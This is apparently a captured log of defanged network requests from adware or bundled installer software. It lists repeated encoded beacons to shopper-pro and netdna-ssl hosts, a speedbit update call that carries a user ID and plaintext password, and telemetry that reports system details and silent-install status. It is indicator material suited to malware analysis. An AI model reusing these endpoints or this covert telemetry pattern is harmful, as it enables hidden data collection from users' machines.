hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE2CArG4HtKvdX1gPBPGd4Ge3xOrzwgctLXgdMQkcq0fio9Ph7xjyM7L1FnmdVPV64GxCWHShI1IMEHFTJ3nGcqmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXqEPUxmmYj0hHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUc c4/HOQseHwB5esNx9efU= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE58Pk9jtfSr7GKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn26 zlcM/GE6vKXvKl WC9NHCYP95s6pM yitVgB0Q26cLwy83MF3Ek7xKwR3W9AY9/CpuCTIAF0= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE2CArG4HtKvdX1gPBPGd4Gf2NRySioDRRu BYVCPaRxXmR20K7N 67BZCfXvnwd9Ikg LruF0zoHZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQxe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYBVtYzgf7Y/EtCn qX4FpTdffopz0y2Q7Y 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE5HixPWBkhqF2M/kHgvislIrVX/EPqwe9CwGEQqEL5v9HCOZtFDRBBDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaB0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr58Sd3C5z7hKC1Yt96j8Hn3PgGUqUYly4OA= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJBYQAernua8KdvklASGFy4PsaMaytXqcH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lAfnxw7SIWTP24HfyObXx1UdC9oYZcFcAUUvubeDU93VIs0AEv1kh1DKJj24mv8XjnS5StnPX94HWqnaKp4YBMQXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVAgX7IgLqZakC1fv30UfvLsGQSKKEX4MIkdCtWlcdK4tLFSggbgl2i/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgp4Yvmw1YuoPQOGdJX7Ys4OCi0N7aB6YG6hHY oh5wmy9pSoWtDn2v0LZyn40Iw2XqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx2159uvs5XDPxhOryl7ypflgvTRwmD/ebOqTPsorVYAdENunC8MvNzBdxJO8SsEd1vQGPfwqbgkyABd 54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=b1dRW7RxYKcVc8R/SQUwTJL yAYdXN5RnjWV2Nij1FiMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZaTN6JbPRttZWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8WX5mkXidlVVifbG zB4c1OJv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWPRDNNTX5W4XfTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zXk4TYbHkoM1JL yAYdXN5RnjWV2Nij1FjZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEGFfmubnQ5FzeTfOFFdt60zxzOb1lXHTE2CArG4HtKvdX1gPBPGd4Gf2NRySioDRRvM76 kd7VSGiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/ETaK06TzGSxNCESZ2BqQgm3p QkSZustsDnBflfPj05KspWKxkXw9x/48vBuBRiWOEog NNy6LA== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=jLYfrKkKGYOS/sgGHVzeUZ41ldjYo9RY2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxBhX5rm50ORc3k3zhRXbetM8czm9ZVx0xOfD5PY7X0q xis2OOc4tTp1sgfHgwJGopMjaP02 pNDljtKNJXIFNsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQxe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYBVtYzgf7Y/EtCn qX4FpTdffopz0y2Q7Y 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=657cd9m3NQH2vdzuDiNvxqdvklASGFy45xhiRlQoXFH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lAfnxw7SIWTP24HfyObXx1UdC9oYZcFcAT0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxL4uZ/p4emFS336Kc9MtkO2A== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/IS8qFEAMB5m Q2HQrgrTiWF62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mfzS3wiEn2jlzeGB1LSz51ypNer4pG7P2P2FiKI97oD3Xmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OmSWf0W4lRoPNIgdrQcZ7S7h1a7V4caBKqoNDoiIkn3W3mGs6iThnVH2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gdCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK fEndwuc 4Sgso3Gv nP8wmYBlKlGJcuDg 54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=M5cPy8d51cOS/sgGHVzeUa54nBZoeXARjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNe3zho7nBETETQhEmdgakIJt6fkJEmbrLbA5wX5Xz49Nn7j9DlRxu71HmS0Zrngqa/u6z7Uinv/jO0WyxvbY42Xs7kUDQrVpg2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXHS5uuKPjyTsvGYaIpA5OzBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/k6kR j50tprzMCAALYrPTdjsMBgf4CrB70p5cFj8vcSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lRtaJpyVwIUyDFuu4lVl/6ypRW8qn0uD1alT0xFAdp3hnDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPow7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWiZMAOD3mcq6DxJ w6ryxW8= 54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/2763.ashx?e=p9HAq5TtKa nb5JQEhhcuGOp2UthrW4qQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaW4LiTw82/YNr7XCLs/WzKA8oUQy9Dy2pTU712iqhsWjQlB3kfGAhd3h70Rdi1/mLeCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dA6 n51 q0ZWY9mFOFfMVf9g94fYHE/69osBG33lbTXqfQBhy6TzfXbNcQlgX3M502CabnGOYGWke9dSH 2S3SkgGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgSYtpYjKebNL6y73TEYNzPFCDElAf1p3wmJROK kldW4J6blCBZVH/6vZ0Q0A71TyG5M31uXvEjKEsIucI0jO5EgdUgSYYI4UVmad OIUvygSMLgTI4FQkvCXECXSlinhvQtqud7MrW7eXDOng/CYeO9 UT BdYKC7P/jCAWbGLp97FQtyMXzS1cUkfYdMbxHXoMFjkMUsrRHizkxlLbGbPzj4RseLa5C94hpHP8TYugLyoNEfB WszTKTTpQT3aXNhDOY02fu3zPIC4q/F5S0ktkdvfZXJ aB/i29lmN4S6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/2763.ashx?e=p9HAq5TtKa nb5JQEhhcuGOp2UthrW4qQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaW4LiTw82/YNr7XCLs/WzKJ9eFhsT1abeQqykZerlmJWOBvq/txek 4iYlmtiSGZOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eFCD8T/coiezrE/yDXLQySZzmvE Kfh2yg8hl9elfMkicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L2J9sb7MHhzULyuQvLksANcYrkTZsU4NhjNan7HLQ0t8a50u3XyigpVREcH6lvzpS2WA5XhQ4MoPBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMZSMCHprqIohR8kpng0IpIJ 54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=IwLHwtP2rDeS/sgGHVzeUa54nBZoeXARjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNe3zho7nBETETQhEmdgakIJt6fkJEmbrLbA5wX5Xz49Nn7j9DlRxu71HmS0Zrngqa/u6z7Uinv/jO0WyxvbY42Xs7kUDQrVpg2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXHS5uuKPjyTsvGYaIpA5OzBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/31804.ashx?e=2v0SNuZrMFxVoN1r7EPlazdjsMBgf4Crsg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jW9oxyhiXHqkCN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn25w3RbfTGNT9pdD3k9Bz56StbFykGQeFJDeQKlJvveiYBN5p9ENNd42Jy LrysKIChDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYq7bYCjMNSwIQ/RwTXhce2f8AgCBrynT3T/Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeEcxt9Qv33nnygIx XkkBquLrC93K5FW5l208O4rRao0E6NcS/ao7oObdRP0O2TtGfu0Hoi4IoRaoc6SnqWp/oWNRnHx8enwk/aK7d1sV3iVS6qgnFCgftRA3YsNRBZWc6/aMBz7Ly9o89e8YHMKynf1HMm1Ts0Hqd5LUq7 5Y6PN25QukZWk/lWZ9Aknq7ogniBj6FyICxJnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/31804.ashx?e=2v0SNuZrMFxVoN1r7EPlazdjsMBgf4Crsg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jW9oxyhiXHqkCN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y 198.232.124.192
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430385914&SBPIDS=1 173.239.4.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHGPJF3ETU mD6jJfooaJy9 2 GHzvfAHPCRoZJTpqsyZ quxda/Dun3gZSk9cPk8/R8KuS8XHvpt/Yt/3GkHgPshjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGfrtigeMM3Q3bVRi96wtSGgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cxBhI0CcjVEUbF083kWzhhCoVA3T5jtLGrz6uhnvM Kk= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZzvtemz1TdLVsv0gnAtPwdu62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mfzS3wiEn2jlzeGB1LSz51ypNer4pG7P2P2FiKI97oD26QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMZBGcCMruPSLx8kpng0IpIJ 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XOxRKBm2zlwLjT49fHfOTC4osNt9XiEkt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjZtnZO0vp3bKJR38OgYiX5Q0A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPow7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWt10EwQxdzjoDxJ w6ryxW8= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPkTjH401c/dDdjsMBgf4Cr56XqnYmheUgSZTerw9Y85XkjLFx9TDtK4f0FPuKZzqbDw9aNRtMZqyZMAOD3mcq6qIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlIztMHev4h7pFNSnDjI8TYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbOko2GBeYu4Js7F084kEIF6/Qhoytxt9L9wKkxYqjT c= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPkTjH401c/dDdjsMBgf4Cr56XqnYmheUgSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOmJ Y/JGOYZV65oG/Tej/kYtyMdnwSjqVzRrLoiWvi573iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gdCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK fYis8nBmbypT3AqTFiqNP5w== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrgLjT49fHfOTNM7BpcmEq1Vt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb1RKCtJSqXJDHpCaj36dsiVcugFublYli4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjy/SCcC0/B2695MROQWA/L2J9sb7MHhzUBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGuCgKEn5qKQgXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxLFHdk/gnZ pY= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=hNMAVKhukrwLjT49fHfOTNM7BpcmEq1Vt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb6lcFzkAHUgF82tgewNDgDwLMEicbqKjXqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlIztMHev4h5nHKdBv6DzBM0FiFjdakeNfk2ju1uana5nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUz7BRPf4VdiaQiBE4y6i2IRb Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGWRnxSIOITYlSnkSnlVgA Q== 54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/2763.ashx?e=wlkQ3WKgYpQDjreoyS/T2yZzmvE Kfh2wdMvn9KJUHP8ln8Iap23//2TEkHeJNDUga zuhV9q9EFX/vLou prvKiWnlKjT8nmtnRdFSmbGuENvzEMy06jATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M7YEs4toHmeiycfYtBu6bRtdsGPZKyniMHL Evyupn5FoSAG857z6vSwF4eCz1DvrniLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/7349.ashx?e=Ka qOJkckoXJDC3MBqZhBjdjsMBgf4CryMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP6pq8QHGxHC4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/7349.ashx?e=Ka qOJkckoXJDC3MBqZhBjdjsMBgf4CryMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP6pq8QHGxHC4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhdjnbMS4Pfob2H0XoEMGadmxH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVjShBrTs2JIa/IDdZRKE16DCMG eCDYdUEghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm atGXV3V3SBT5Fva6iyF3lsV14HWAIjwK /B21hic3n4KXCTWlAkKjiEAAvLOJs9nriyfHHxuPN1TattnYLA2W9JfcszaBWoLYTiANl82U9PGWhOqaC0baIKqmE4PfsK33ZlkXQOixg8bksb bGU9p/0oCLL27fEIRTplcm0zAysp04BWvQzLm9JplOfGTfgq6R5SFGAEj2BWwq TzfH7GZ9QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/31804.ashx?e=/1ietnsFWJiS/sgGHVzeUdd68NIi3D6yjA5kVqVgWdAgLxC0aXqYrYyox39H7ctIgwblf8oxxioBejvSxclb8m/hhMD4nnTSXzilmHeLhjQAfzFzOb8vBLPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWXDL72VfpR1eLXekbdnMfLBbCu/2Gt6qdx AkJisDB Jkl9LJVahAJ94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/5946.ashx?e=PcwT4QFtuPDEA05CBT6a0ajJfooaJy9 qUlAdcY4Qxd4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6 voHsg2LiKECN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWPRDNNTX5W4YfIeaN2K162EghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm at0IWIAJRs9W/uX7BCtHf6UPtw4 /14NvCeXF a8uH5B6JyaeWsFlhCm4ldslWa se8yRPjkBZF8rSGQI7yg9q76fgRK767/K4N7Ox2sptuWqNJxXQawroNmbktPzt6FdqMa0vJ6oECP23x/pimJHbwt/saWmBvzoxegJbZL45kOeZTnxk34KukeUhRgBI9gVsKvk83x xmfUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/5946.ashx?e=PcwT4QFtuPDEA05CBT6a0ajJfooaJy9 qUlAdcY4Qxd4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6 voHsg2LiKECN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LU2XQ3qyK2CS/sgGHVzeUVtC1svWgR193Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xTgtGbaWrGbzEsdSRpTTrrYOU1y/YINRFoElZvuBh0eOlCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Nal8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr9pfylRUU5oo40q0/F EacueBzJkwMj dTdu2471AoxrxxJWu/c1tu xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIqP49Qld4eEeCM6W43gx8rzXt84aO5wRExE0IRJnYGpCCben5CRJm6y2wOcF V8 PTZ 4/Q5Ucbu9u0ix3pYrA/Q== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=t4TV4yXs13Onb5JQEhhcuNypZYGJk9A63RDD4M2MKnlkNeKJ xgctdGdqHePycrYlEzjD3RV2P zo7anpTgKufSzmM3HEufAEaBiShDKRIV XTIrvDDxtEW8jV1AywzN93k4w4AQv cTDUJ39fApoVlzfxsZWK fZ4FuGdpApw7PCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GiwMiHIO32t9dB/Qy8xESUT5w8NAuWYj0rx9Q7mDipg5m5EK8PnEgfsYRrkWB2O2svYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2WUw3 YPQdUCRoUV4ogQDN/6Y BmvbybVv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMaAv6M 3oAyd9KYJggl74H 54.197.238.106
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430385920&SBPIDS=1 173.239.4.56
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=652193&mode=nolsp 107.20.238.80
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/7349.ashx?e=AOb NGCDna nb5JQEhhcuN9Z3/UbBJaWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaPQkti/l2azbZrHTihd p2c9x4wF X9zLP3GhIJ9WssJ0qbfRkh1l0I8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/QbA5GlSNwLtYBu8lUTFLA92DeYRi6mthkbITKhm rg5T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/5946.ashx?e=eISsn0A7mAZMV62Gsz5XOWaeKb06PAQA7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDeRmGi7guTMeaY5GcMHOnR dxUU31LK7oTpek9GMPHJkI4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qos7ozJ3T9gfn6pqgVuVy 5fkJkRzvnrV5sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= 198.232.124.192
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1430385923
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1430385923
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=656452&mode=nolsp 107.20.238.80
hxxp://ipgeoapi.com/ 54.225.141.133
hxxp://rep.shopper-pro.com/app/ping.ashx?e=N6dOqWm8Q96MfN93CMDrz6jJfooaJy9 9x5AR6gjw3ddOfUh X e3KWVb3f653Ub2yLvqUuoT2b669uXeODcaUuDZbxKNz6NsSNKKkCXJzFm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevcO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLh2AdNW8se5tJwlKiyKEzpqDKGkKTsMuFKX NzbP1SeVQdPSkZVS9k32damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VOG/dVdd2ZQulS80g5AwOE2fl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn4K46RaPQ8p40FscvLmfeEU= 54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_34&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430385923&procruntime=2&rnd=1430385925
